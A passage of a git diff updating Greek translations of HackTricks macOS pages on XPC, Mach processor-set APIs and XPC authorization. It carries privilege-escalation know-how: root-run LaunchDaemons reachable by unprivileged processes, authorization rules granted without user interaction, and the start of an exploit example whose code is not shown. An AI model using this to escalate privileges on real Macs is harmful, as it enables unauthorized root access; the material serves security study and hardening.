υποσύστημα `clock`, όπως: `clock_get_time`, `clock_get_attributtes` ή `clock_alarm`\ +Για να αποκτήσει πληροφορίες, είναι δυνατόν να καλέσει συναρτήσεις από το υποσύστημα `clock` όπως: `clock_get_time`, `clock_get_attributtes` ή `clock_alarm`\ Για να τροποποιήσει τιμές, το υποσύστημα `clock_priv` μπορεί να χρησιμοποιηθεί με συναρτήσεις όπως `clock_set_time` και `clock_set_attributes` ### Processors and Processor Set -Οι διεπαφές API του επεξεργαστή επιτρέπουν τον έλεγχο ενός μόνο λογικού επεξεργαστή καλώντας συναρτήσεις όπως `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`... +Οι APIs του επεξεργαστή επιτρέπουν τον έλεγχο ενός μόνο λογικού επεξεργαστή καλώντας συναρτήσεις όπως `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`... -Επιπλέον, οι διεπαφές API του **processor set** παρέχουν έναν τρόπο ομαδοποίησης πολλών επεξεργαστών σε μια ομάδα. Είναι δυνατόν να ανακτηθεί το προεπιλεγμένο σύνολο επεξεργαστών καλώντας **`processor_set_default`**.\ -Αυτές είναι μερικές ενδιαφέρουσες διεπαφές API για αλληλεπίδραση με το σύνολο επεξεργαστών: +Επιπλέον, οι APIs του **processor set** παρέχουν έναν τρόπο να ομαδοποιηθούν πολλοί επεξεργαστές σε μια ομάδα. Είναι δυνατόν να ανακτηθεί η προεπιλεγμένη ομάδα επεξεργαστών καλώντας **`processor_set_default`**.\ +Αυτές είναι μερικές ενδιαφέρουσες APIs για αλληλεπίδραση με την ομάδα επεξεργαστών: - `processor_set_statistics` -- `processor_set_tasks`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλες τις διαδικασίες μέσα στο σύνολο επεξεργαστών -- `processor_set_threads`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλα τα νήματα μέσα στο σύνολο επεξεργαστών +- `processor_set_tasks`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλες τις διαδικασίες μέσα στην ομάδα επεξεργαστών +- `processor_set_threads`: Επιστρέφει έναν πίνακα δικαιωμάτων αποστολής σε όλα τα νήματα μέσα στην ομάδα επεξεργαστών - `processor_set_stack_usage` - `processor_set_info` @@ -1222,6 +1224,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication For more information about how this **communication work** on how it **could be vulnerable** check: + {{#ref}} macos-xpc/ {{#endref}} @@ -1234,6 +1237,7 @@ MIC basically **generates the needed code** for server and client to communicate For more info check: + {{#ref}} macos-mig-mach-interface-generator.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md index 601ca9dca..53515e419 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md @@ -22,7 +22,7 @@ XPC, που σημαίνει XNU (ο πυρήνας που χρησιμοποι Όπως μπορεί να σκέφτεστε, ένα **συστατικό XPC θα έχει διαφορετικά δικαιώματα και προνόμια** από τα άλλα συστατικά XPC ή το κύριο δυαδικό αρχείο της εφαρμογής. ΕΚΤΟΣ αν μια υπηρεσία XPC έχει ρυθμιστεί με [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) ρυθμισμένο σε “True” στο αρχείο **Info.plist** της. Σε αυτή την περίπτωση, η υπηρεσία XPC θα εκτελείται στην **ίδια ασφαλή συνεδρία με την εφαρμογή** που την κάλεσε. -Οι υπηρεσίες XPC **ξεκινούνται** από **launchd** όταν απαιτείται και **κλείνουν** μόλις ολοκληρωθούν όλες οι εργασίες για να απελευθερωθούν οι πόροι του συστήματος. **Τα XPC συστατικά που σχετίζονται με την εφαρμογή μπορούν να χρησιμοποιηθούν μόνο από την εφαρμογή**, μειώνοντας έτσι τον κίνδυνο που σχετίζεται με πιθανές ευπάθειες. +Οι υπηρεσίες XPC **ξεκινούνται** από **launchd** όταν απαιτείται και **κλείνουν** μόλις ολοκληρωθούν όλες οι εργασίες για να απελευθερωθούν οι πόροι του συστήματος. **Τα συστατικά XPC που σχετίζονται με την εφαρμογή μπορούν να χρησιμοποιηθούν μόνο από την εφαρμογή**, μειώνοντας έτσι τον κίνδυνο που σχετίζεται με πιθανές ευπάθειες. ## System Wide XPC services @@ -64,46 +64,46 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist ``` Οι διαδικασίες στο **`LaunchDameons`** εκτελούνται από τον root. Έτσι, αν μια διαδικασία χωρίς δικαιώματα μπορεί να επικοινωνήσει με μία από αυτές, θα μπορούσε να είναι σε θέση να κλιμακώσει τα δικαιώματα. -## XPC Αντικείμενα +## XPC Objects - **`xpc_object_t`** -Κάθε μήνυμα XPC είναι ένα αντικείμενο λεξικού που απλοποιεί τη σειριοποίηση και την αποσειριοποίηση. Επιπλέον, η `libxpc.dylib` δηλώνει τους περισσότερους τύπους δεδομένων, οπότε είναι δυνατό να διασφαλιστεί ότι τα ληφθέντα δεδομένα είναι του αναμενόμενου τύπου. Στο C API, κάθε αντικείμενο είναι ένα `xpc_object_t` (και ο τύπος του μπορεί να ελεγχθεί χρησιμοποιώντας `xpc_get_type(object)`).\ +Κάθε μήνυμα XPC είναι ένα αντικείμενο λεξικού που απλοποιεί τη σειριοποίηση και την αποσειριοποίηση. Επιπλέον, η `libxpc.dylib` δηλώνει τους περισσότερους από τους τύπους δεδομένων, οπότε είναι δυνατό να διασφαλιστεί ότι τα δεδομένα που λαμβάνονται είναι του αναμενόμενου τύπου. Στο C API, κάθε αντικείμενο είναι ένα `xpc_object_t` (και ο τύπος του μπορεί να ελεγχθεί χρησιμοποιώντας `xpc_get_type(object)`).\ Επιπλέον, η συνάρτηση `xpc_copy_description(object)` μπορεί να χρησιμοποιηθεί για να αποκτήσει μια συμβολοσειρά αναπαράστασης του αντικειμένου που μπορεί να είναι χρήσιμη για σκοπούς αποσφαλμάτωσης.\ -Αυτά τα αντικείμενα έχουν επίσης κάποιες μεθόδους που μπορούν να κληθούν όπως `xpc__copy`, `xpc__equal`, `xpc__hash`, `xpc__serialize`, `xpc__deserialize`... +Αυτά τα αντικείμενα έχουν επίσης μερικές μεθόδους που μπορούν να κληθούν όπως `xpc__copy`, `xpc__equal`, `xpc__hash`, `xpc__serialize`, `xpc__deserialize`... -Τα `xpc_object_t` δημιουργούνται καλώντας τη συνάρτηση `xpc__create`, η οποία εσωτερικά καλεί το `_xpc_base_create(Class, Size)` όπου υποδεικνύεται ο τύπος της κλάσης του αντικειμένου (ένας από τους `XPC_TYPE_*`) και το μέγεθός του (κάποια επιπλέον 40B θα προστεθούν στο μέγεθος για μεταδεδομένα). Αυτό σημαίνει ότι τα δεδομένα του αντικειμένου θα ξεκινούν από την απόσταση 40B.\ +Τα `xpc_object_t` δημιουργούνται καλώντας τη συνάρτηση `xpc__create`, η οποία εσωτερικά καλεί τη `_xpc_base_create(Class, Size)` όπου υποδεικνύεται ο τύπος της κλάσης του αντικειμένου (ένας από τους `XPC_TYPE_*`) και το μέγεθός του (κάποια επιπλέον 40B θα προστεθούν στο μέγεθος για μεταδεδομένα). Αυτό σημαίνει ότι τα δεδομένα του αντικειμένου θα ξεκινούν από την απόσταση 40B.\ Επομένως, το `xpc__t` είναι κάπως μια υποκλάση του `xpc_object_t`, η οποία θα ήταν μια υποκλάση του `os_object_t*`. > [!WARNING] -> Σημειώστε ότι θα πρέπει να είναι ο προγραμματιστής που χρησιμοποιεί `xpc_dictionary_[get/set]_` για να αποκτήσει ή να ορίσει τον τύπο και την πραγματική τιμή ενός κλειδιού. +> Σημειώστε ότι θα πρέπει να είναι ο προγραμματιστής που χρησιμοποιεί το `xpc_dictionary_[get/set]_` για να αποκτήσει ή να ορίσει τον τύπο και την πραγματική τιμή ενός κλειδιού. - **`xpc_pipe`** Ένα **`xpc_pipe`** είναι ένας σωλήνας FIFO που οι διαδικασίες μπορούν να χρησιμοποιήσουν για να επικοινωνήσουν (η επικοινωνία χρησιμοποιεί μηνύματα Mach).\ -Είναι δυνατό να δημιουργηθεί ένας XPC server καλώντας `xpc_pipe_create()` ή `xpc_pipe_create_from_port()` για να τον δημιουργήσει χρησιμοποιώντας μια συγκεκριμένη θύρα Mach. Στη συνέχεια, για να λάβει μηνύματα, είναι δυνατό να καλέσει `xpc_pipe_receive` και `xpc_pipe_try_receive`. +Είναι δυνατό να δημιουργηθεί ένας XPC server καλώντας το `xpc_pipe_create()` ή το `xpc_pipe_create_from_port()` για να τον δημιουργήσει χρησιμοποιώντας μια συγκεκριμένη θύρα Mach. Στη συνέχεια, για να λάβει μηνύματα, είναι δυνατό να καλέσει το `xpc_pipe_receive` και το `xpc_pipe_try_receive`. Σημειώστε ότι το αντικείμενο **`xpc_pipe`** είναι ένα **`xpc_object_t`** με πληροφορίες στη δομή του σχετικά με τις δύο θύρες Mach που χρησιμοποιούνται και το όνομα (αν υπάρχει). Το όνομα, για παράδειγμα, ο daemon `secinitd` στο plist του `/System/Library/LaunchDaemons/com.apple.secinitd.plist` ρυθμίζει τον σωλήνα που ονομάζεται `com.apple.secinitd`. -Ένα παράδειγμα ενός **`xpc_pipe`** είναι ο **bootstrap pip**e που δημιουργείται από τον **`launchd`** καθιστώντας δυνατή την κοινή χρήση θύρων Mach. +Ένα παράδειγμα ενός **`xpc_pipe`** είναι ο **bootstrap pipe** που δημιουργείται από τον **`launchd`** κάνοντάς το δυνατό να μοιράζονται οι θύρες Mach. - **`NSXPC*`** -Αυτά είναι αντικείμενα υψηλού επιπέδου Objective-C που επιτρέπουν την αφαίρεση των συνδέσεων XPC.\ +Αυτά είναι αντικείμενα υψηλού επιπέδου Objective-C που επιτρέπουν την αφαίρεση των XPC συνδέσεων.\ Επιπλέον, είναι πιο εύκολο να αποσφαλματωθούν αυτά τα αντικείμενα με το DTrace από τα προηγούμενα. - **`GCD Queues`** Το XPC χρησιμοποιεί GCD για να περάσει μηνύματα, επιπλέον δημιουργεί ορισμένες ουρές εκτέλεσης όπως `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance`... -## Υπηρεσίες XPC +## XPC Services -Αυτές είναι **πακέτα με επέκταση `.xpc`** που βρίσκονται μέσα στον φάκελο **`XPCServices`** άλλων έργων και στο `Info.plist` έχουν τον τύπο πακέτου `CFBundlePackageType` ρυθμισμένο σε **`XPC!`**.\ -Αυτό το αρχείο έχει άλλες ρυθμιστικές κλειδιά όπως `ServiceType` που μπορεί να είναι Application, User, System ή `_SandboxProfile` που μπορεί να ορίσει ένα sandbox ή `_AllowedClients` που μπορεί να υποδεικνύει δικαιώματα ή ID που απαιτούνται για να επικοινωνήσουν με την υπηρεσία. Αυτές και άλλες ρυθμιστικές επιλογές θα είναι χρήσιμες για να ρυθμίσουν την υπηρεσία κατά την εκκίνηση. +Αυτά είναι **πακέτα με επέκταση `.xpc`** που βρίσκονται μέσα στον φάκελο **`XPCServices`** άλλων έργων και στο `Info.plist` έχουν τον τύπο πακέτου `CFBundlePackageType` ρυθμισμένο σε **`XPC!`**.\ +Αυτό το αρχείο έχει άλλες ρυθμιστικές κλειδιά όπως `ServiceType` που μπορεί να είναι Application, User, System ή `_SandboxProfile` που μπορεί να ορίσει ένα sandbox ή `_AllowedClients` που μπορεί να υποδεικνύει δικαιώματα ή ID που απαιτούνται για να επικοινωνήσουν με τον σερβερ. Αυτές και άλλες ρυθμιστικές επιλογές θα είναι χρήσιμες για να ρυθμίσουν την υπηρεσία κατά την εκκίνηση. -### Εκκίνηση μιας Υπηρεσίας +### Starting a Service -Η εφαρμογή προσπαθεί να **συνδεθεί** με μια υπηρεσία XPC χρησιμοποιώντας `xpc_connection_create_mach_service`, στη συνέχεια ο launchd εντοπίζει τον daemon και εκκινεί τον **`xpcproxy`**. Ο **`xpcproxy`** επιβάλλει τις ρυθμισμένες περιορισμούς και δημιουργεί την υπηρεσία με τις παρεχόμενες FDs και θύρες Mach. +Η εφαρμογή προσπαθεί να **συνδεθεί** με μια υπηρεσία XPC χρησιμοποιώντας το `xpc_connection_create_mach_service`, στη συνέχεια ο launchd εντοπίζει τον daemon και εκκινεί το **`xpcproxy`**. Ο **`xpcproxy`** επιβάλλει τις ρυθμισμένες περιορισμούς και δημιουργεί την υπηρεσία με τα παρεχόμενα FDs και τις θύρες Mach. Για να βελτιωθεί η ταχύτητα αναζήτησης της υπηρεσίας XPC, χρησιμοποιείται μια κρυφή μνήμη. @@ -111,24 +111,26 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist ```bash supraudit S -C -o /tmp/output /dev/auditpipe ``` -Η βιβλιοθήκη XPC χρησιμοποιεί `kdebug` για να καταγράψει ενέργειες καλώντας `xpc_ktrace_pid0` και `xpc_ktrace_pid1`. Οι κωδικοί που χρησιμοποιεί δεν είναι τεκμηριωμένοι, επομένως είναι απαραίτητο να τους προσθέσετε στο `/usr/share/misc/trace.codes`. Έχουν το πρόθεμα `0x29` και για παράδειγμα ένας είναι `0x29000004`: `XPC_serializer_pack`.\ -Το εργαλείο `xpcproxy` χρησιμοποιεί το πρόθεμα `0x22`, για παράδειγμα: `0x2200001c: xpcproxy:will_do_preexec`. +Η βιβλιοθήκη XPC χρησιμοποιεί `kdebug` για να καταγράψει ενέργειες καλώντας `xpc_ktrace_pid0` και `xpc_ktrace_pid1`. Οι κωδικοί που χρησιμοποιεί δεν είναι τεκμηριωμένοι, οπότε είναι απαραίτητο να τους προσθέσετε στο `/usr/share/misc/trace.codes`. Έχουν το πρόθεμα `0x29` και για παράδειγμα ένας είναι `0x29000004`: `XPC_serializer_pack`.\ +Η χρησιμότητα `xpcproxy` χρησιμοποιεί το πρόθεμα `0x22`, για παράδειγμα: `0x2200001c: xpcproxy:will_do_preexec`. ## XPC Event Messages -Οι εφαρμογές μπορούν να **εγγραφούν** σε διάφορα γεγονότα **μηνυμάτων**, επιτρέποντάς τους να **ξεκινούν κατόπιν αιτήματος** όταν συμβαίνουν τέτοια γεγονότα. Η **ρύθμιση** για αυτές τις υπηρεσίες γίνεται σε αρχεία **plist του launchd**, που βρίσκονται στους **ίδιους καταλόγους με τους προηγούμενους** και περιέχουν ένα επιπλέον **`LaunchEvent`** κλειδί. +Οι εφαρμογές μπορούν να **εγγραφούν** σε διάφορα γεγονότα **μηνυμάτων**, επιτρέποντάς τους να **ξεκινούν κατόπιν αιτήματος** όταν συμβαίνουν τέτοια γεγονότα. Η **ρύθμιση** για αυτές τις υπηρεσίες γίνεται σε αρχεία plist του **launchd**, που βρίσκονται στους **ίδιους καταλόγους με τους προηγούμενους** και περιέχουν ένα επιπλέον **`LaunchEvent`** κλειδί. ### XPC Connecting Process Check Όταν μια διαδικασία προσπαθεί να καλέσει μια μέθοδο μέσω μιας σύνδεσης XPC, η **υπηρεσία XPC θα πρέπει να ελέγξει αν αυτή η διαδικασία επιτρέπεται να συνδεθεί**. Ακολουθούν οι κοινές μέθοδοι για να το ελέγξετε και οι κοινές παγίδες: + {{#ref}} macos-xpc-connecting-process-check/ {{#endref}} ## XPC Authorization -Η Apple επιτρέπει επίσης στις εφαρμογές να **ρυθμίζουν ορισμένα δικαιώματα και πώς να τα αποκτούν**, έτσι ώστε αν η καλούσα διαδικασία τα έχει, θα **επιτρέπεται να καλέσει μια μέθοδο** από την υπηρεσία XPC: +Η Apple επιτρέπει επίσης στις εφαρμογές να **ρυθμίζουν ορισμένα δικαιώματα και πώς να τα αποκτούν**, οπότε αν η καλούσα διαδικασία τα έχει, θα **επιτρέπεται να καλέσει μια μέθοδο** από την υπηρεσία XPC: + {{#ref}} macos-xpc-authorization.md @@ -147,7 +149,7 @@ xpcspy -U -r -W ## Using filters (i: for input, o: for output) xpcspy -U -t 'i:com.apple.*' -t 'o:com.apple.*' -r ``` -Ένα άλλο πιθανό εργαλείο που μπορείτε να χρησιμοποιήσετε είναι το [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html). +Ένα άλλο πιθανό εργαλείο που μπορείτε να χρησιμοποιήσετε είναι [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html). ## Παράδειγμα Κώδικα C για Επικοινωνία XPC @@ -281,7 +283,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server ``` -## XPC Επικοινωνία Παράδειγμα Κώδικα Objective-C +## XPC Communication Objective-C Code Example {{#tabs}} {{#tab name="oc_xpc_server.m"}} @@ -439,14 +441,14 @@ return; ``` ## Remote XPC -Αυτή η λειτουργία που παρέχεται από το `RemoteXPC.framework` (από το `libxpc`) επιτρέπει την επικοινωνία μέσω XPC μέσω διαφορετικών hosts.\ +Αυτή η λειτουργία που παρέχεται από το `RemoteXPC.framework` (από το `libxpc`) επιτρέπει την επικοινωνία μέσω XPC μεταξύ διαφορετικών hosts.\ Οι υπηρεσίες που υποστηρίζουν το remote XPC θα έχουν στο plist τους το κλειδί UsesRemoteXPC όπως είναι η περίπτωση του `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Ωστόσο, αν και η υπηρεσία θα είναι καταχωρημένη με το `launchd`, είναι το `UserEventAgent` με τα plugins `com.apple.remoted.plugin` και `com.apple.remoteservicediscovery.events.plugin` που παρέχει τη λειτουργικότητα. Επιπλέον, το `RemoteServiceDiscovery.framework` επιτρέπει την απόκτηση πληροφοριών από το `com.apple.remoted.plugin` εκθέτοντας συναρτήσεις όπως `get_device`, `get_unique_device`, `connect`... Μόλις χρησιμοποιηθεί το connect και συγκεντρωθεί το socket `fd` της υπηρεσίας, είναι δυνατή η χρήση της κλάσης `remote_xpc_connection_*`. -Είναι δυνατή η απόκτηση πληροφοριών σχετικά με τις απομακρυσμένες υπηρεσίες χρησιμοποιώντας το cli εργαλείο `/usr/libexec/remotectl` χρησιμοποιώντας παραμέτρους όπως: +Είναι δυνατή η απόκτηση πληροφοριών σχετικά με απομακρυσμένες υπηρεσίες χρησιμοποιώντας το cli εργαλείο `/usr/libexec/remotectl` με παραμέτρους όπως: ```bash /usr/libexec/remotectl list # Get bridge devices /usr/libexec/remotectl show ...# Get device properties and services @@ -454,7 +456,7 @@ return; /usr/libexec/remotectl [netcat|relay] ... # Expose a service in a port ... ``` -Η επικοινωνία μεταξύ του BridgeOS και του κεντρικού υπολογιστή πραγματοποιείται μέσω μιας ειδικής διεπαφής IPv6. Το `MultiverseSupport.framework` επιτρέπει τη δημιουργία υποδοχών των οποίων το `fd` θα χρησιμοποιηθεί για την επικοινωνία.\ +Η επικοινωνία μεταξύ του BridgeOS και του κεντρικού υπολογιστή πραγματοποιείται μέσω μιας αφιερωμένης διεπαφής IPv6. Το `MultiverseSupport.framework` επιτρέπει τη δημιουργία υποδοχών των οποίων το `fd` θα χρησιμοποιηθεί για την επικοινωνία.\ Είναι δυνατή η εύρεση αυτών των επικοινωνιών χρησιμοποιώντας το `netstat`, `nettop` ή την ανοιχτού κώδικα επιλογή, `netbottom`. {{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md index c4e4ff6af..37f2c13d1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md @@ -27,7 +27,7 @@ newConnection.exportedObject = self; return YES; } ``` -Για περισσότερες πληροφορίες σχετικά με το πώς να ρυθμίσετε σωστά αυτήν την επαλήθευση: +Για περισσότερες πληροφορίες σχετικά με το πώς να ρυθμίσετε σωστά αυτήν την επιθεώρηση: {{#ref}} macos-xpc-connecting-process-check/ @@ -35,7 +35,7 @@ macos-xpc-connecting-process-check/ ### Δικαιώματα εφαρμογής -Ωστόσο, υπάρχει κάποια **εξουσιοδότηση που εκτελείται όταν καλείται μια μέθοδος από το HelperTool**. +Ωστόσο, υπάρχει κάποια **εξουσιοδότηση που συμβαίνει όταν καλείται μια μέθοδος από το HelperTool**. Η συνάρτηση **`applicationDidFinishLaunching`** από το `App/AppDelegate.m` θα δημιουργήσει μια κενή αναφορά εξουσιοδότησης μετά την εκκίνηση της εφαρμογής. Αυτό θα πρέπει πάντα να λειτουργεί.\ Στη συνέχεια, θα προσπαθήσει να **προσθέσει κάποια δικαιώματα** σε αυτήν την αναφορά εξουσιοδότησης καλώντας το `setupAuthorizationRights`: @@ -62,7 +62,7 @@ if (self->_authRef) { [self.window makeKeyAndOrderFront:self]; } ``` -Η συνάρτηση `setupAuthorizationRights` από το `Common/Common.m` θα αποθηκεύσει στη βάση δεδομένων auth `/var/db/auth.db` τα δικαιώματα της εφαρμογής. Σημειώστε πώς θα προσθέσει μόνο τα δικαιώματα που δεν είναι ακόμα στη βάση δεδομένων: +Η συνάρτηση `setupAuthorizationRights` από το `Common/Common.m` θα αποθηκεύσει στη βάση δεδομένων auth `/var/db/auth.db` τα δικαιώματα της εφαρμογής. Σημειώστε πώς θα προσθέσει μόνο τα δικαιώματα που δεν είναι ήδη στη βάση δεδομένων: ```objectivec + (void)setupAuthorizationRights:(AuthorizationRef)authRef // See comment in header. @@ -172,7 +172,7 @@ block(authRightName, authRightDefault, authRightDesc); }]; } ``` -Αυτό σημαίνει ότι στο τέλος αυτής της διαδικασίας, οι άδειες που δηλώνονται μέσα στο `commandInfo` θα αποθηκευτούν στο `/var/db/auth.db`. Σημειώστε πώς μπορείτε να βρείτε για **κάθε μέθοδο** που θα απαιτεί **αυθεντικοποίηση**, **όνομα άδειας** και το **`kCommandKeyAuthRightDefault`**. Το τελευταίο **υποδεικνύει ποιος μπορεί να αποκτήσει αυτό το δικαίωμα**. +Αυτό σημαίνει ότι στο τέλος αυτής της διαδικασίας, οι άδειες που δηλώνονται μέσα στο `commandInfo` θα αποθηκευτούν στο `/var/db/auth.db`. Σημειώστε πώς μπορείτε να βρείτε για **κάθε μέθοδο** που θα απαιτεί **αυθεντικοποίηση**, το **όνομα άδειας** και το **`kCommandKeyAuthRightDefault`**. Το τελευταίο **υποδεικνύει ποιος μπορεί να αποκτήσει αυτό το δικαίωμα**. Υπάρχουν διαφορετικοί τομείς για να υποδείξουν ποιος μπορεί να έχει πρόσβαση σε ένα δικαίωμα. Ορισμένοι από αυτούς ορίζονται στο [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) (μπορείτε να βρείτε [όλους εδώ](https://www.dssw.co.uk/reference/authorization-rights/)), αλλά ως σύνοψη: @@ -240,7 +240,7 @@ sudo sqlite3 /var/db/auth.db SELECT name FROM rules; SELECT name FROM rules WHERE name LIKE '%safari%'; ``` -Μπορείτε να διαβάσετε ποιος μπορεί να έχει πρόσβαση στο δικαίωμα με: +Στη συνέχεια, μπορείτε να διαβάσετε ποιος μπορεί να έχει πρόσβαση στο δικαίωμα με: ```bash security authorizationdb read com.apple.safaridriver.allow ``` @@ -249,14 +249,14 @@ security authorizationdb read com.apple.safaridriver.allow Μπορείτε να βρείτε **όλες τις ρυθμίσεις αδειών** [**εδώ**](https://www.dssw.co.uk/reference/authorization-rights/), αλλά οι συνδυασμοί που δεν θα απαιτούν αλληλεπίδραση από τον χρήστη θα είναι: 1. **'authenticate-user': 'false'** -- Αυτό είναι το πιο άμεσο κλειδί. Εάν οριστεί σε `false`, καθορίζει ότι ένας χρήστης δεν χρειάζεται να παρέχει πιστοποίηση για να αποκτήσει αυτό το δικαίωμα. +- Αυτό είναι το πιο άμεσο κλειδί. Αν οριστεί σε `false`, καθορίζει ότι ένας χρήστης δεν χρειάζεται να παρέχει πιστοποίηση για να αποκτήσει αυτό το δικαίωμα. - Χρησιμοποιείται σε **συνδυασμό με ένα από τα 2 παρακάτω ή υποδεικνύοντας μια ομάδα** στην οποία πρέπει να ανήκει ο χρήστης. 2. **'allow-root': 'true'** -- Εάν ένας χρήστης λειτουργεί ως ο χρήστης root (ο οποίος έχει ανυψωμένα δικαιώματα), και αυτό το κλειδί είναι ορισμένο σε `true`, ο χρήστης root θα μπορούσε ενδεχομένως να αποκτήσει αυτό το δικαίωμα χωρίς περαιτέρω πιστοποίηση. Ωστόσο, συνήθως, η απόκτηση καθεστώτος χρήστη root απαιτεί ήδη πιστοποίηση, οπότε αυτό δεν είναι ένα σενάριο "χωρίς πιστοποίηση" για τους περισσότερους χρήστες. +- Αν ένας χρήστης λειτουργεί ως ο χρήστης root (ο οποίος έχει ανυψωμένα δικαιώματα), και αυτό το κλειδί είναι ορισμένο σε `true`, ο χρήστης root θα μπορούσε ενδεχομένως να αποκτήσει αυτό το δικαίωμα χωρίς περαιτέρω πιστοποίηση. Ωστόσο, συνήθως, η απόκτηση καθεστώτος χρήστη root απαιτεί ήδη πιστοποίηση, οπότε αυτό δεν είναι σενάριο "χωρίς πιστοποίηση" για τους περισσότερους χρήστες. 3. **'session-owner': 'true'** -- Εάν οριστεί σε `true`, ο κάτοχος της συνεδρίας (ο τρέχων συνδεδεμένος χρήστης) θα αποκτήσει αυτό το δικαίωμα αυτόματα. Αυτό μπορεί να παρακάμψει πρόσθετη πιστοποίηση εάν ο χρήστης είναι ήδη συνδεδεμένος. +- Αν οριστεί σε `true`, ο κάτοχος της συνεδρίας (ο τρέχων συνδεδεμένος χρήστης) θα αποκτήσει αυτό το δικαίωμα αυτόματα. Αυτό μπορεί να παρακάμψει πρόσθετη πιστοποίηση αν ο χρήστης είναι ήδη συνδεδεμένος. 4. **'shared': 'true'** -- Αυτό το κλειδί δεν παρέχει δικαιώματα χωρίς πιστοποίηση. Αντίθετα, εάν οριστεί σε `true`, σημαίνει ότι μόλις το δικαίωμα έχει πιστοποιηθεί, μπορεί να μοιραστεί μεταξύ πολλών διαδικασιών χωρίς να χρειάζεται η κάθε μία να επαναπιστοποιηθεί. Αλλά η αρχική χορήγηση του δικαιώματος θα απαιτεί ακόμα πιστοποίηση εκτός αν συνδυαστεί με άλλα κλειδιά όπως το `'authenticate-user': 'false'`. +- Αυτό το κλειδί δεν παρέχει δικαιώματα χωρίς πιστοποίηση. Αντίθετα, αν οριστεί σε `true`, σημαίνει ότι μόλις το δικαίωμα έχει πιστοποιηθεί, μπορεί να μοιραστεί μεταξύ πολλών διαδικασιών χωρίς να χρειάζεται η κάθε μία να επαναπιστοποιηθεί. Αλλά η αρχική χορήγηση του δικαιώματος θα απαιτεί ακόμα πιστοποίηση εκτός αν συνδυαστεί με άλλα κλειδιά όπως το `'authenticate-user': 'false'`. Μπορείτε να [**χρησιμοποιήσετε αυτό το σενάριο**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) για να αποκτήσετε τα ενδιαφέροντα δικαιώματα: ```bash @@ -291,7 +291,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se Σε αυτή την περίπτωση, έχουμε το ίδιο όπως στο EvenBetterAuthorizationSample, [**ελέγξτε αυτή τη γραμμή**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). -Γνωρίζοντας το όνομα του χρησιμοποιούμενου πρωτοκόλλου, είναι δυνατό να **dump its header definition** με: +Γνωρίζοντας το όνομα του χρησιμοποιούμενου πρωτοκόλλου, είναι δυνατό να **εκφορτώσετε τον ορισμό της κεφαλίδας του** με: ```bash class-dump /Library/PrivilegedHelperTools/com.example.HelperTool @@ -324,12 +324,12 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist [...] ``` -### Παράδειγμα Εκμετάλλευσης +### Exploit Example -Σε αυτό το παράδειγμα δημιουργούνται: +Σε αυτό το παράδειγμα δημιουργείται: - Ο ορισμός του πρωτοκόλλου με τις λειτουργίες -- Μια κενή αυθεντοποίηση για να ζητήσει πρόσβαση +- Μια κενή αυθεντικοποίηση για να ζητήσει πρόσβαση - Μια σύνδεση στην υπηρεσία XPC - Μια κλήση στη λειτουργία αν η σύνδεση ήταν επιτυχής ```objectivec diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 5deb89c55..e07037655 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -8,18 +8,18 @@ 1. Έλεγχος αν η **διαδικασία που συνδέεται είναι υπογεγραμμένη με πιστοποιητικό υπογεγραμμένο από την Apple** (δίδεται μόνο από την Apple). - Αν αυτό **δεν επαληθευτεί**, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα **ψεύτικο πιστοποιητικό** για να ταιριάζει με οποιονδήποτε άλλο έλεγχο. -2. Έλεγχος αν η 